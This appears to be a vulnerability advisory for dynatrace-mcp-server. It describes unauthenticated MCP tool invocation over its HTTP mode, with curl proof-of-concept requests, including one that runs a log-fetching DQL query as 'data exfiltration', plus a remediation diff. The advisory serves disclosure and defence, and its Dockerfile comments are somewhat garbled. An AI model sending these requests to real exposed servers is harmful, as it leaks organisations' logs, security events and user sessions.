GHSA-p7w7-4929-vpj5 `@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation

Not scored Published 31 Jul 2026

Unauthenticated attackers can execute arbitrary Dynatrace queries and create notebooks via the HTTP transport mode, exposing sensitive data and allowing tenant modifications.

Exploited in the wild: Not known
Login needed: Not needed
Attackable: Over the internet
Victim action needed: Not needed
Fix: Available

What is GHSA-p7w7-4929-vpj5?

GHSA-p7w7-4929-vpj5 is a missing authorization vulnerability in @dynatrace-oss/dynatrace-mcp-server, published on 31 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Summary

@dynatrace-oss/dynatrace-mcp-server v1.8.5 exposes an HTTP transport mode (--http flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC tools/call request without an Authorization header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include execute_dql (reads arbitrary Grail data, including logs, security events, and user sessions) and create_dynatrace_notebook (writes notebooks to the tenant).

Details

When the server is started with the --http flag, an HTTP server is created at src/index.ts:1621. For every inbound request the handler creates a new StreamableHTTPServerTransport instance:

// src/index.ts:1638-1640
const httpTransport = new StreamableHTTPServerTransport({
  sessionIdGenerator: undefined, // No Session ID needed
});

No bearer-token check, session token, Host allowlist, or Origin allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport:

// src/index.ts:1648-1668
body = JSON.parse(rawBody);
...
await httpTransport.handleRequest(req, res, body);

Two tools are directly reachable by an unauthenticated HTTP caller without any requestHumanApproval gate:

execute_dql — Confidentiality: High

// src/index.ts:746-769
// No requestHumanApproval before createAuthenticatedHttpClient
const dtClient = await createAuthenticatedHttpClient(scopesBase.concat(&#39;storage:buckets:read&#39;, ...));
return executeDql(dtClient, { query });

An attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials.

create_dynatrace_notebook — Integrity: Low

// src/index.ts:1593-1600
// No requestHumanApproval before createAuthenticatedHttpClient
const dtClient = await createAuthenticatedHttpClient(scopesBase.concat(&#39;document:write&#39;));
return createNotebook(dtClient, { name, sections });

An attacker can create notebooks under the victim's tenant.

> Note on send_event: The initial static report claimed send_event was also unguarded. Code inspection at src/index.ts:1367 confirms a requestHumanApproval call exists inside the send_event handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns false, effectively blocking the write. The send_event path is therefore not exploitable via the HTTP attack vector.

> Note on PoC tool reset_grail_budget: The PoC uses reset_grail_budget (src/index.ts:1218-1239), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires execute_dql with real credentials.

PoC

Environment setup (Docker):

# Build from repository root
docker build \
  -t dynatrace-mcp-vuln001:latest \
  -f /path/to/vuln-001/Dockerfile \
  /path/to/dynatrace-mcp/repo

# Run — abc12345 in hostname activates demo mode, skipping real API connectivity check
docker run -d \
  --name dynatrace-mcp-vuln001-test \
  -p 127.0.0.1:3999:3999 \
  -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \
  -e DT_PLATFORM_TOKEN=fake-token-for-poc \
  dynatrace-mcp-vuln001:latest \
  --http --port 3999 --host 0.0.0.0

Unauthenticated tool invocation (no Authorization header):

curl -sS -N -X POST http://127.0.0.1:3999/ \
  -H &#39;Content-Type: application/json&#39; \
  -H &#39;Accept: application/json, text/event-stream&#39; \
  -H &#39;Mcp-Protocol-Version: 2025-03-26&#39; \
  --data &#39;{&#34;jsonrpc&#34;:&#34;2.0&#34;,&#34;id&#34;:1,&#34;method&#34;:&#34;tools/call&#34;,&#34;params&#34;:{&#34;name&#34;:&#34;reset_grail_budget&#34;,&#34;arguments&#34;:{}}}&#39;

Observed response (HTTP 200, no authentication required):

HTTP/1.1 200 OK
content-type: text/event-stream

event: message
data: {&#34;result&#34;:{&#34;content&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;text&#34;:&#34;✅ **Grail Budget Reset Successfully!**\n\nBudget status after reset:\n- Total bytes scanned: 0 bytes (0 GB)\n- Budget limit: 5000 GB\n- Remaining budget: 5000 GB\n- Budget exceeded: No&#34;}]},&#34;jsonrpc&#34;:&#34;2.0&#34;,&#34;id&#34;:1}

Python PoC script (automated, with server-readiness polling):

python3 poc.py 127.0.0.1 3999
# Exits 0 on confirmed unauthenticated tool execution
# Exits 2 if server correctly returns HTTP 401 (patched)

High-impact variant with real credentials — data exfiltration via execute_dql:

curl -sS -N -X POST http://&lt;server&gt;:3000/ \
  -H &#39;Content-Type: application/json&#39; \
  -H &#39;Accept: application/json, text/event-stream&#39; \
  -H &#39;Mcp-Protocol-Version: 2025-03-26&#39; \
  --data &#39;{
    &#34;jsonrpc&#34;: &#34;2.0&#34;,
    &#34;id&#34;: 2,
    &#34;method&#34;: &#34;tools/call&#34;,
    &#34;params&#34;: {
      &#34;name&#34;: &#34;execute_dql&#34;,
      &#34;arguments&#34;: {
        &#34;query&#34;: &#34;fetch logs | limit 10&#34;
      }
    }
  }&#39;

Recommended remediation:

--- a/src/index.ts
+++ b/src/index.ts
+import { timingSafeEqual } from &#39;node:crypto&#39;;

+    .option(&#39;--http-auth-token &lt;token&gt;&#39;, &#39;bearer token required for HTTP server mode&#39;)

+  const httpAuthToken = options.httpAuthToken || process.env.DT_MCP_HTTP_AUTH_TOKEN;
+
+  const isAuthorizedHttpRequest = (req: IncomingMessage): boolean =&gt; {
+    const expected = httpAuthToken ? Buffer.from(`Bearer ${httpAuthToken}`) : undefined;
+    const actualHeader = req.headers.authorization;
+    if (!expected || !actualHeader) return false;
+    const actual = Buffer.from(actualHeader);
+    return actual.length === expected.length &amp;&amp; timingSafeEqual(actual, expected);
+  };

   if (httpMode) {
+    if (!httpAuthToken) {
+      console.error(&#39;HTTP mode requires --http-auth-token or DT_MCP_HTTP_AUTH_TOKEN.&#39;);
+      process.exit(1);
+    }
     const httpServer = createServer(async (req, res) =&gt; {
+      if (!isAuthorizedHttpRequest(req)) {
+        res.writeHead(401, { &#39;Content-Type&#39;: &#39;application/json&#39;, &#39;WWW-Authenticate&#39;: &#39;Bearer&#39; });
+        res.end(JSON.stringify({ jsonrpc: &#39;2.0&#39;, id: null, error: { code: -32001, message: &#39;Unauthorized&#39; } }));
+        return;
+      }

       const httpTransport = new StreamableHTTPServerTransport({
         sessionIdGenerator: undefined,
+        enableDnsRebindingProtection: true,
+        allowedHosts: [`${host}:${httpPort}`, `127.0.0.1:${httpPort}`, `localhost:${httpPort}`],
       });

Impact

This is a Missing Authentication for Critical Function vulnerability. The HTTP transport mode acts as an unauthenticated proxy to the victim's Dynatrace tenant: any attacker who can reach the server port can read sensitive observability data (logs, security events, user sessions, metrics) via execute_dql and write notebook documents via create_dynatrace_notebook, all under the configured Dynatrace credentials without needing to know those credentials.

Who is impacted: Organizations running dynatrace-mcp-server with the --http flag enabled — particularly deployments using --host 0.0.0.0 (documented and supported), container deployments, or any deployment where the port is reachable from an untrusted network. Localhost-only deployments are at reduced but non-zero risk via DNS rebinding or same-host compromise. With --host 0.0.0.0 the attack requires no user interaction and no complex conditions, raising the effective CVSS score to 9.3.

Reproduction artifacts

`Dockerfile`

# VULN-001: Unauthenticated HTTP MCP Tool Invocation (CWE-306)
# build stage - text sourcefrom dynatrace-mcp-server build
FROM node:22.21.1-alpine3.22 AS build

WORKDIR /app

# repo copy the full repo source (hosttext clone repo pathfrom textand build)
COPY . .

RUN npm ci
RUN npm run build

# runtime textonly install (dist/package.json criteria)
RUN cd dist &amp;&amp; npm install --ignore-scripts &amp;&amp; npm cache clean --force

# runtime stage
FROM node:22.21.1-alpine3.22

Which versions are affected by GHSA-p7w7-4929-vpj5?

2 open source packages ship an affected version, including @dynatrace-oss/dynatrace-mcp-server.

Package	Affected	Fixed in
`@dynatrace-oss/dynatrace-mcp-server` npm	All versions	`2.0.0`
`@dynatrace-oss/dynatrace-mcp-server` npm	All versions	`2.0.0`

How do I fix GHSA-p7w7-4929-vpj5?

Upgrade @dynatrace-oss/dynatrace-mcp-server to 2.0.0 or later.

Upgrade, and check permissions on every request on the server, not only in the interface. More about Missing authorization.

Is GHSA-p7w7-4929-vpj5 being exploited?

There is no known exploitation of GHSA-p7w7-4929-vpj5 in the wild and no public exploit code.